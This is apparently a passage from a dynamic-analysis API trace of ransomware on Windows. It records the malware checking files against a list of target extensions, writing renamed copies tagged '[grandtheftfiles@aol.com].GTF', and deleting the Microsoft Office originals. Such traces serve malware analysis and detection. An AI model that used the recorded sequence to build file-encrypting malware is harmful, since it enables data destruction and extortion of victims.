	[0073.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0073.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1
	[0073.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0073.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0073.470] lstrlenW (lpString=".doc") returned 4
	[0073.471] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.471] lstrlenW (lpString=".docx") returned 5
	[0073.471] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0073.471] lstrlenW (lpString=".pdf") returned 4
	[0073.471] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.471] lstrlenW (lpString=".xls") returned 4
	[0073.471] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.471] lstrlenW (lpString=".xlsx") returned 5
	[0073.471] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0073.471] lstrlenW (lpString=".ppt") returned 4
	[0073.471] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0073.471] lstrlenW (lpString=".zip") returned 4
	[0073.471] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.471] lstrlenW (lpString=".rar") returned 4
	[0073.471] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.471] lstrlenW (lpString=".bz2") returned 4
	[0073.471] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.471] lstrlenW (lpString=".7z") returned 3
	[0073.471] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0073.471] lstrlenW (lpString=".dbf") returned 4
	[0073.471] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0073.471] lstrlenW (lpString=".1cd") returned 4
	[0073.471] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0073.471] lstrlenW (lpString=".jpg") returned 4
	[0073.471] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0073.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0073.471] lstrlenW (lpString=".doc") returned 4
	[0073.471] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.471] lstrlenW (lpString=".docx") returned 5
	[0073.471] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0073.471] lstrlenW (lpString=".pdf") returned 4
	[0073.472] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.472] lstrlenW (lpString=".xls") returned 4
	[0073.472] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.472] lstrlenW (lpString=".xlsx") returned 5
	[0073.472] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0073.472] lstrlenW (lpString=".ppt") returned 4
	[0073.472] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0073.472] lstrlenW (lpString=".zip") returned 4
	[0073.472] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.472] lstrlenW (lpString=".rar") returned 4
	[0073.472] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.472] lstrlenW (lpString=".bz2") returned 4
	[0073.472] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.472] lstrlenW (lpString=".7z") returned 3
	[0073.472] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0073.472] lstrlenW (lpString=".dbf") returned 4
	[0073.472] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0073.472] lstrlenW (lpString=".1cd") returned 4
	[0073.472] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0073.472] lstrlenW (lpString=".jpg") returned 4
	[0073.472] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.472] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0073.472] lstrlenW (lpString="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 53
	[0073.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0074.006] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1261) returned 1
	[0074.006] CloseHandle (hObject=0x2d0) returned 1
	[0074.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0074.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0074.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0074.007] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.007] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0074.007] GetLastError () returned 0x0
	[0074.007] ReadFile (in: hFile=0x2d0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0074.009] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0074.010] ReadFile (in: hFile=0x2d0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.010] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0074.010] SetEndOfFile (hFile=0x31c) returned 1
	[0074.010] CloseHandle (hObject=0x31c) returned 1
	[0074.011] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.011] SetEndOfFile (hFile=0x2d0) returned 1
	[0074.012] CloseHandle (hObject=0x2d0) returned 1
	[0074.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0074.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1
	[0074.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0074.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0074.012] lstrlenW (lpString=".doc") returned 4
	[0074.012] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0074.012] lstrlenW (lpString=".docx") returned 5
	[0074.012] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0074.013] lstrlenW (lpString=".pdf") returned 4
	[0074.013] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0074.013] lstrlenW (lpString=".xls") returned 4
	[0074.013] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0074.013] lstrlenW (lpString=".xlsx") returned 5
	[0074.013] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0074.013] lstrlenW (lpString=".ppt") returned 4
	[0074.013] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0074.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0074.013] lstrlenW (lpString=".zip") returned 4
	[0074.013] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0074.013] lstrlenW (lpString=".rar") returned 4
	[0074.013] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0074.013] lstrlenW (lpString=".bz2") returned 4
	[0074.013] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0074.013] lstrlenW (lpString=".7z") returned 3
	[0074.013] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0074.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0074.013] lstrlenW (lpString=".dbf") returned 4
	[0074.013] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0074.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0074.013] lstrlenW (lpString=".1cd") returned 4
	[0074.013] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0074.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0074.013] lstrlenW (lpString=".jpg") returned 4
	[0074.013] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0074.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0074.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0074.013] lstrlenW (lpString=".doc") returned 4
	[0074.013] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0074.013] lstrlenW (lpString=".docx") returned 5
	[0074.013] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0074.013] lstrlenW (lpString=".pdf") returned 4
	[0074.013] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0074.013] lstrlenW (lpString=".xls") returned 4
	[0074.013] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0074.014] lstrlenW (lpString=".xlsx") returned 5
	[0074.014] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0074.014] lstrlenW (lpString=".ppt") returned 4
	[0074.014] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0074.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0074.014] lstrlenW (lpString=".zip") returned 4
	[0074.014] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0074.014] lstrlenW (lpString=".rar") returned 4
	[0074.014] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0074.014] lstrlenW (lpString=".bz2") returned 4
	[0074.014] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0074.014] lstrlenW (lpString=".7z") returned 3
	[0074.014] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0074.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0074.014] lstrlenW (lpString=".dbf") returned 4
	[0074.014] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0074.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0074.014] lstrlenW (lpString=".1cd") returned 4
	[0074.014] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0074.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0074.014] lstrlenW (lpString=".jpg") returned 4
	[0074.014] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0074.014] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0074.014] lstrlenW (lpString="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 53
	[0074.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0074.015] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1261) returned 1
	[0074.015] CloseHandle (hObject=0x2d0) returned 1
	[0074.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0074.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0074.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0074.015] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.015] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0074.016] GetLastError () returned 0x0
	[0074.016] ReadFile (in: hFile=0x2d0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0074.017] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0074.018] ReadFile (in: hFile=0x2d0, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.018] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0074.018] SetEndOfFile (hFile=0x31c) returned 1
	[0074.019] CloseHandle (hObject=0x31c) returned 1
	[0074.020] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.020] SetEndOfFile (hFile=0x2d0) returned 1
	[0074.021] CloseHandle (hObject=0x2d0) returned 1
	[0074.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0074.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1
	[0074.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0074.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0074.021] lstrlenW (lpString=".doc") returned 4
	[0074.021] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0074.021] lstrlenW (lpString=".docx") returned 5
	[0074.021] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0074.021] lstrlenW (lpString=".pdf") returned 4
	[0074.021] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0074.021] lstrlenW (lpString=".xls") returned 4
	[0074.021] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0074.021] lstrlenW (lpString=".xlsx") returned 5
	[0074.021] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0074.022] lstrlenW (lpString=".ppt") returned 4
	[0074.022] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0074.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0074.022] lstrlenW (lpString=".zip") returned 4
	[0074.022] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0074.022] lstrlenW (lpString=".rar") returned 4
	[0074.022] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0074.022] lstrlenW (lpString=".bz2") returned 4
	[0074.022] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0074.022] lstrlenW (lpString=".7z") returned 3
	[0074.022] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0074.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0074.022] lstrlenW (lpString=".dbf") returned 4
	[0074.022] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0074.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0074.022] lstrlenW (lpString=".1cd") returned 4
	[0074.022] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0074.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0074.022] lstrlenW (lpString=".jpg") returned 4
	[0074.022] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0074.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0074.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0074.022] lstrlenW (lpString=".doc") returned 4
	[0074.022] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0074.022] lstrlenW (lpString=".docx") returned 5
	[0074.022] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0074.022] lstrlenW (lpString=".pdf") returned 4
	[0074.022] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0074.022] lstrlenW (lpString=".xls") returned 4
	[0074.022] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0074.022] lstrlenW (lpString=".xlsx") returned 5
	[0074.022] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0074.022] lstrlenW (lpString=".ppt") returned 4
	[0074.022] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0074.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0074.023] lstrlenW (lpString=".zip") returned 4
	[0074.023] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0074.023] lstrlenW (lpString=".rar") returned 4
	[0074.023] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0074.023] lstrlenW (lpString=".bz2") returned 4
	[0074.023] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0074.023] lstrlenW (lpString=".7z") returned 3
	[0074.023] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0074.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0074.023] lstrlenW (lpString=".dbf") returned 4
	[0074.023] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0074.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0074.023] lstrlenW (lpString=".1cd") returned 4
	[0074.023] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0074.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0074.023] lstrlenW (lpString=".jpg") returned 4
	[0074.023] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0074.023] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0074.023] lstrlenW (lpString="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 53
	[0074.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0074.024] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=253712) returned 1
	[0074.024] CloseHandle (hObject=0x2d0) returned 1
	[0074.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0074.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0074.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0074.024] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.024] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
